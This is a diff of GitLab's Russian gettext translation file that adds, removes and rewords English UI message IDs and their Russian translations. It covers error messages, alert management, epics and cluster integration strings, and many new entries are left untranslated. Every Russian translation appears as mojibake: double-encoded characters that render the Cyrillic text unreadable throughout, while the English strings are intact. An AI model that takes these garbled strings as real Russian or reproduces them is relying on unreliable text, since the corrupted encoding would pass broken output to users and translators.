msgstr "\"%{path}\" не ÑущеÑтвует на \"%{ref}\""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -389,6 +392,9 @@ msgstr[3] "%s дополнительных коммитов было пропуÑ
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -425,6 +431,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr "%{cores} Ñдер"
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr "%{count} Ñтрок кода / коммит"
@@ -489,6 +498,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr "%{description}- Событие Sentry: %{errorUrl}- Первый проÑмотр: %{firstSeen}- ПоÑледний проÑмотр: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr "%{duration}мÑ"
@@ -516,8 +528,8 @@ msgstr "%{firstLabel} + ещё %{labelCount}"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
-msgstr "%{global_id} не ÑвлÑетÑÑ Ð´Ð¾Ð¿ÑƒÑтимым ID Ð´Ð»Ñ %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
+msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
msgstr "%{group_docs_link_start}Группы%{group_docs_link_end} позволÑÑŽÑ‚ управлÑÑ‚ÑŒ неÑколькими проектами и Ñотрудничать Ñ Ð½Ð¸Ð¼Ð¸. Члены группы имеют доÑтуп ко вÑем ее проектам."
@@ -603,9 +615,6 @@ msgstr "%{level_name} не допуÑкаетÑÑ Ð² %{group_level_name} груÐ
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} запрещено, Ñ‚.к. проект-иÑточник Ð¾Ñ‚Ð²ÐµÑ‚Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð¼ÐµÐµÑ‚ более узкую облаÑÑ‚ÑŒ видимоÑти."
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr "%{lineOneStart}Перетащите, чтобы загрузить Ñвои дизайны%{lineOneEnd} или %{linkStart}нажмите, чтобы загрузить%{linkEnd}."
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr "%{link_start}Узнайте больше%{link_end} о том, ÐºÐ°ÐºÐ°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¿ÐµÑ€ÐµÐ´Ð°ÐµÑ‚ÑÑ GitLab Inc."
@@ -624,6 +633,9 @@ msgstr "%{listToShow}, и еще %{awardsListLength}."
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} Запущена"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} заблокирован пользователем GitLab %{lock_user_id}"
@@ -633,6 +645,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr "%{mergeLength}/%{usersLength} можно объединить"
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}, Ñто обÑуждение будет закрыто автоматичеÑки."
@@ -755,6 +779,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -784,6 +811,9 @@ msgstr "%{size} МиБ"
msgid "%{size} bytes"
msgstr "%{size} байт"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} было уÑпешно отправлено в Akismet."
@@ -799,6 +829,9 @@ msgstr "%{start} по %{end}"
msgid "%{state} epics"
msgstr "%{state} цели"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr "%{strongStart}Примечание:%{strongEnd} ПоÑле Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÑŒÑкого Ñтапа вы можете изменить порÑдок Ñтапов, перетаÑÐºÐ¸Ð²Ð°Ñ Ð¸Ñ… в нужное положение."
@@ -882,6 +915,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr "общий приоритет %{totalWeight}"
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr "приоритет открытого обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ %{total}"
@@ -915,6 +951,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -924,7 +963,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -970,6 +1024,9 @@ msgstr "(внешний иÑточник)"
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr "(удалено)"
@@ -1204,15 +1261,6 @@ msgstr "8 чаÑов"
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr "< 1 чаÑа"
-
-msgid "<project name>"
-msgstr "<название проекта>"
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr "<strong>УдалÑет</strong> иÑходную ветку"
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr "«Runner» - Ñто процеÑÑ, который выполнÑет Ñозданное вами задание. Ð’Ñ‹ можете наÑтроить Ñтолько таких процеÑÑов, Ñколько вам нужно."
@@ -1276,8 +1324,8 @@ msgstr "УчаÑтник команды по борьбе Ñ Ð½Ð°Ñ€ÑƒÑˆÐµÐ½Ð¸ÑÐ
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr "Утверждение запроÑа на ÑлиÑние необходимо, когда отчет о безопаÑноÑти Ñодержит какую-либо новую уÑзвимоÑÑ‚ÑŒ выÑокой, критичеÑкой или неизвеÑтной ÑерьезноÑти."
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
-msgstr "Утверждение запроÑа на ÑлиÑние требуетÑÑ, когда отчёт о комплаенÑе лицензий отноÑитÑÑ Ðº лицензии, включённой в чёрный ÑпиÑок."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
+msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
msgstr "ÐÐ¾Ð²Ð°Ñ ÑÐ±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ Ð»Ð¸Ð½Ð¸Ñ Auto DevOps Ñоздана, обратитеÑÑŒ к %{pipelines_link_start}Ñтранице, поÑвÑщенной Сборочным линиÑм%{pipelines_link_end} за подробноÑÑ‚Ñми"
@@ -1294,6 +1342,9 @@ msgstr "Ð’ вашем ответвлении будет Ñоздана новаÑ
msgid "A new impersonation token has been created."
msgstr "Был Ñоздан новый токен заимÑÑ‚Ð²Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€Ð°Ð²."
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr "ПроÑтой HTML-Ñайт, который иÑпользует Netlify Ð´Ð»Ñ CI/CD вмеÑто GitLab, но вÑÑ‘ ещё Ñ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ замечательными возможноÑÑ‚Ñми GitLab."
@@ -1396,6 +1447,9 @@ msgstr "Дата Ð¿Ñ€ÐµÐºÑ€Ð°Ñ‰ÐµÐ½Ð¸Ñ Ð´Ð¾Ñтупа"
msgid "Access forbidden. Check your access level."
msgstr "ДоÑтуп запрещен. Проверьте Ñвой уровень доÑтупа."
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr "ДоÑтуп к '%{classification_label}' не разрешён"
@@ -1507,6 +1561,9 @@ msgstr "Ðктивировать"
msgid "Activate Service Desk"
msgstr "Ðктивировать Ñлужбу поддержки"
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Ðктивный"
@@ -1541,12 +1598,6 @@ msgstr[3] "Добавить %d обÑуждений"
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "Добавить CHANGELOG"
@@ -1661,6 +1712,9 @@ msgstr "Добавить дочерний Ñлемент в другой ÑлеÐ
msgid "Add comment now"
msgstr "Добавить комментарий"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1673,6 +1727,9 @@ msgstr "Добавить Ð°Ð´Ñ€ÐµÑ Ñлектронной почты"
msgid "Add environment"
msgstr "Добавить окружение"
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr "Добавить заголовок и подвал в Ñлектронные пиÑьма. ПожалуйÑта, обратите внимание, что наÑтройки цвета будут применены только в интерфейÑе приложениÑ"
@@ -1685,6 +1742,9 @@ msgstr "Добавить задачи"
msgid "Add italic text"
msgstr "Добавить курÑив"
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr "Добавить метку(и)"
@@ -1964,6 +2024,9 @@ msgstr "Выберите файл конфигурации Ñборочной л
msgid "AdminSettings|Select a template"
msgstr "Выберите шаблон"
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1979,6 +2042,9 @@ msgstr "Укажите домен, который будет иÑпользовÐ
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr "Ð¢Ñ€ÐµÐ±ÑƒÐµÐ¼Ð°Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ñборки может быть выбрана из каталога %{code_start}gitlab-ci%{code_end} внутри %{link_start}Ñконфигурированного хранилища ÑкземплÑров шаблонов%{link_end} или из предоÑтавленных GitLab конфигурации."
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr "При Ñоздании новой переменной Ð¾ÐºÑ€ÑƒÐ¶ÐµÐ½Ð¸Ñ Ð¾Ð½Ð° будет защищена по умолчанию."
@@ -2208,6 +2274,9 @@ msgstr[3] "Оповещений"
msgid "AlertManagement|Acknowledged"
msgstr "Прочитано"
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr "Оповещение"
@@ -2238,8 +2307,8 @@ msgstr "ОтветÑтвенные"
msgid "AlertManagement|Authorize external service"
msgstr "Ðвторизовать внешнюю Ñлужбу"
-msgid "AlertManagement|Create issue"
-msgstr "Создать обÑуждение"
+msgid "AlertManagement|Create incident"
+msgstr ""
msgid "AlertManagement|Critical"
msgstr ""
@@ -2295,9 +2364,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr "Обзор"
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2310,6 +2376,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr "Обработано"
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2352,17 +2421,14 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr "Получено"
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
-msgstr "Открыть обÑуждение"
+msgid "AlertManagement|View incident"
+msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
@@ -2391,7 +2457,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2490,6 +2556,9 @@ msgstr "Ð’Ñе адреÑа Ñлектронной почты будут иÑпÐ
msgid "All environments"
msgstr "Ð’Ñе окружениÑ"
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "Ð’Ñе функции ÑиÑтемы включаютÑÑ Ð´Ð»Ñ Ð¿ÑƒÑÑ‚Ñ‹Ñ… проектов, Ñозданных из шаблонов или импортированных, но вы можете отключить их впоÑледÑтвии в наÑтройках проекта."
@@ -2637,6 +2706,9 @@ msgstr "Ð’Ñ€ÐµÐ¼Ñ (в чаÑах), на которое пользователÑ
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr "Оповещение было вызвано в %{project_path}."
@@ -2703,6 +2775,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr "Произошла ошибка во Ð²Ñ€ÐµÐ¼Ñ Ñ„Ð¸ÐºÑации изменений."
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr "Произошла ошибка при декодировании файла."
@@ -2775,9 +2850,18 @@ msgstr "Произошла ошибка при получении отчётов
msgid "An error occurred while fetching the Service Desk address."
msgstr "Произошла ошибка при получении адреÑа Службы поддержки."
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Произошла ошибка при получении ÑпиÑка панелей управлениÑ. ПожалуйÑта, попробуйте ещё раз."
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr "Произошла ошибка при получении Ñборок."
@@ -2919,15 +3003,18 @@ msgstr "Произошла ошибка при получении календа
msgid "An error occurred while retrieving diff"
msgstr "Произошла ошибка при получении различий"
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr "Произошла ошибка при Ñохранении ÑтатуÑа Ð¿ÐµÑ€ÐµÐ¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð¸Ñ LDAP. ПожалуйÑта, попробуйте ещё раз."
msgid "An error occurred while saving assignees"
msgstr "Произошла ошибка при Ñохранении ответÑтвенных"
-msgid "An error occurred while saving the approval settings"
-msgstr ""
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr "Произошла ошибка во Ð²Ñ€ÐµÐ¼Ñ ÑÐ¾Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ ÑˆÐ°Ð±Ð»Ð¾Ð½Ð°. ПожалуйÑта, проверьте, ÑущеÑтвует ли шаблон."
@@ -2952,12 +3039,18 @@ msgstr "Произошла ошибка при обновлении утверж
msgid "An error occurred while updating the comment"
msgstr "Произошла ошибка при обновлении комментариÑ"
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "Произошла ошибка при валидации пути группы"
msgid "An error occurred while validating username"
msgstr "Произошла ошибка при проверке имени пользователÑ"
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "Произошла ошибка. ПожалуйÑта, попробуйте Ñнова."
@@ -3036,6 +3129,9 @@ msgstr "Любой"
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr "Ð›ÑŽÐ±Ð°Ñ Ð²ÐµÑ‚ÐºÐ°"
@@ -3259,6 +3355,9 @@ msgstr "Ðпр."
msgid "April"
msgstr "Ðпрель"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr "Ðрхив"
@@ -3271,6 +3370,9 @@ msgstr "Ðрхивировать проект"
msgid "Archived"
msgstr "Ðрхивные"
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr "Ðрхивный проект! Репозиторий и другие реÑурÑÑ‹ проекта доÑтупны только Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ"
@@ -3286,9 +3388,6 @@ msgstr "Ðрхивирование Ñтого проекта Ñделает ег
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr "УÑтанавливаете GitLab Ð´Ð»Ñ ÐºÐ¾Ð¼Ð¿Ð°Ð½Ð¸Ð¸?"
-
msgid "Are you sure that you want to archive this project?"
msgstr "Ð’Ñ‹ уверены, что хотите архивировать Ñтот проект?"
@@ -3397,7 +3496,7 @@ msgstr "Ð’Ñ‹ уверены? Ð’Ñе коммиты, которые были по
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr "Ð’Ñ‹ уверены? Удаление Ñтого ключа GPG не повлиÑет на уже подпиÑанные коммиты."
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3409,9 +3508,6 @@ msgstr "УпорÑдочить графики"
msgid "Artifact"
msgstr "Ðртефакт"
-msgid "Artifact ID"
-msgstr "ID артефакта"
-
msgid "Artifact could not be deleted."
msgstr "Ðртефакт не может быть удален."
@@ -3424,6 +3520,9 @@ msgstr "Ðртефакты"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr "ПоÑкольку уÑтройÑтва U2F поддерживаютÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ неÑколькими браузерами, мы требуем, чтобы вы наÑтроили двухфакторную аутентификацию перед U2F уÑтройÑтвом. Таким образом, вы вÑегда Ñможете войти в ÑиÑтему, даже еÑли вы иÑпользуете неподдерживаемый браузер."
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} помеÑтил в ветку %{branch} проекта %{project_name} ( %{commit_url} ):"
@@ -3687,7 +3786,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr "ÐвторизуйтеÑÑŒ %{link_to_client} Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи?"
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3765,6 +3864,9 @@ msgstr "ÐвтоматичеÑкое управление Ñертификата
msgid "Automatic certificate management using Let's Encrypt"
msgstr "ÐвтоматичеÑкое управление Ñертификатами Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Let's Encrypt"
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3891,8 +3993,8 @@ msgstr "Эта группа не имеет значков"
msgid "Badges|This project has no badges"
msgstr "Этот проект не имеет значков"
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
-msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ удалить Ñтот значок. Удаленные значки <strong>не могут</strong> быть воÑÑтановлены."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
msgid "Badges|Your badges"
msgstr "Ваши значки"
@@ -4005,6 +4107,9 @@ msgstr "ежемеÑÑчно"
msgid "BillingPlans|per user"
msgstr "на одного пользователÑ"
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr "Улучшить"
@@ -4074,14 +4179,17 @@ msgstr "Развернуть"
msgid "Boards|View scope"
msgstr "ПроÑмотр облаÑти"
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr "Ветвь"
msgid "Branch %{branchName} was not found in this project's repository."
msgstr "Ветка %{branchName} не найдена в репозитории проекта."
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "Ветка <strong>%{branch_name}</strong> Ñоздана. Ð”Ð»Ñ Ð½Ð°Ñтройки автоматичеÑкого Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð²Ñ‹Ð±ÐµÑ€Ð¸Ñ‚Ðµ YAML-шаблон Ð´Ð»Ñ GitLab CI и зафикÑируйте Ñвои изменениÑ. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr "Ветка была изменена"
@@ -4275,6 +4383,9 @@ msgstr "Открыть обÑуждениÑ"
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr "БизнеÑ"
@@ -4449,6 +4560,9 @@ msgstr "Ð Ð°Ð·Ð²Ñ‘Ñ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Canary - популÑÑ€Ð½Ð°Ñ ÑтратегÐ
msgid "Cancel"
msgstr "Отмена"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr "Отменить запуÑк"
@@ -4482,11 +4596,11 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr "Ðе удаётÑÑ Ð¸Ð¼Ð¿Ð¾Ñ€Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ñ‚ÑŒ, потому что обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð½Ðµ доÑтупны в Ñтом проекте."
-msgid "Cannot make epic confidential if it contains not-confidential issues"
-msgstr "ÐÐµÐ»ÑŒÐ·Ñ Ñделать цель конфиденциальной, еÑли она Ñодержит неконфиденциальные обÑуждениÑ"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
+msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
-msgstr "ÐÐµÐ»ÑŒÐ·Ñ Ñделать цель конфиденциальной, еÑли она Ñодержит неконфиденциальные подцели"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
+msgstr ""
msgid "Cannot merge"
msgstr "Ðе удаетÑÑ Ð¾Ð±ÑŠÐµÐ´Ð¸Ð½Ð¸Ñ‚ÑŒ"
@@ -4506,8 +4620,8 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
-msgstr "ÐÐµÐ»ÑŒÐ·Ñ Ð´Ð¾Ð±Ð°Ð²Ð¸Ñ‚ÑŒ неконфиденциальое обÑуждение к конфиденциальной цели"
+msgid "Cannot set confidential epic for a non-confidential issue"
+msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
msgstr ""
@@ -4692,9 +4806,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr "Проверьте ваш .gitlab-ci.yml"
-
msgid "Check your Docker images for known vulnerabilities."
msgstr "Проверьте ваши образы Docker на наличие извеÑтных уÑзвимоÑтей."
@@ -4920,7 +5031,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr "Выберите уровень доÑтупа, включите / отключите функции проекта (обÑуждениÑ, репозиторий, Wiki, Ñниппеты) и наÑтройте Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ð½Ð° проекте."
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -5088,9 +5199,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5196,6 +5313,9 @@ msgstr "Закрыто"
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr "Закрытые обÑуждениÑ"
@@ -5229,19 +5349,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} уÑпешно уÑтановлены на вашем клаÑтере Kubernetes"
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5289,14 +5415,17 @@ msgstr "Ð’Ñе данные, не переданные в GitLab, будут уÐ
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr "Ð’Ñе данные будут удалены без возможноÑти воÑÑтановлениÑ."
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr "Разрешить GitLab управлÑÑ‚ÑŒ проÑтранÑтвами имен и Ñлужебными аккаунтами Ñтого клаÑтера."
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr "Разрешить GitLab управлÑÑ‚ÑŒ проÑтранÑтвом имен и учетными запиÑÑми Ñлужб Ð´Ð»Ñ Ñтого клаÑтера. %{startLink}Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ%{endLink}"
-msgid "ClusterIntegration|Alternatively"
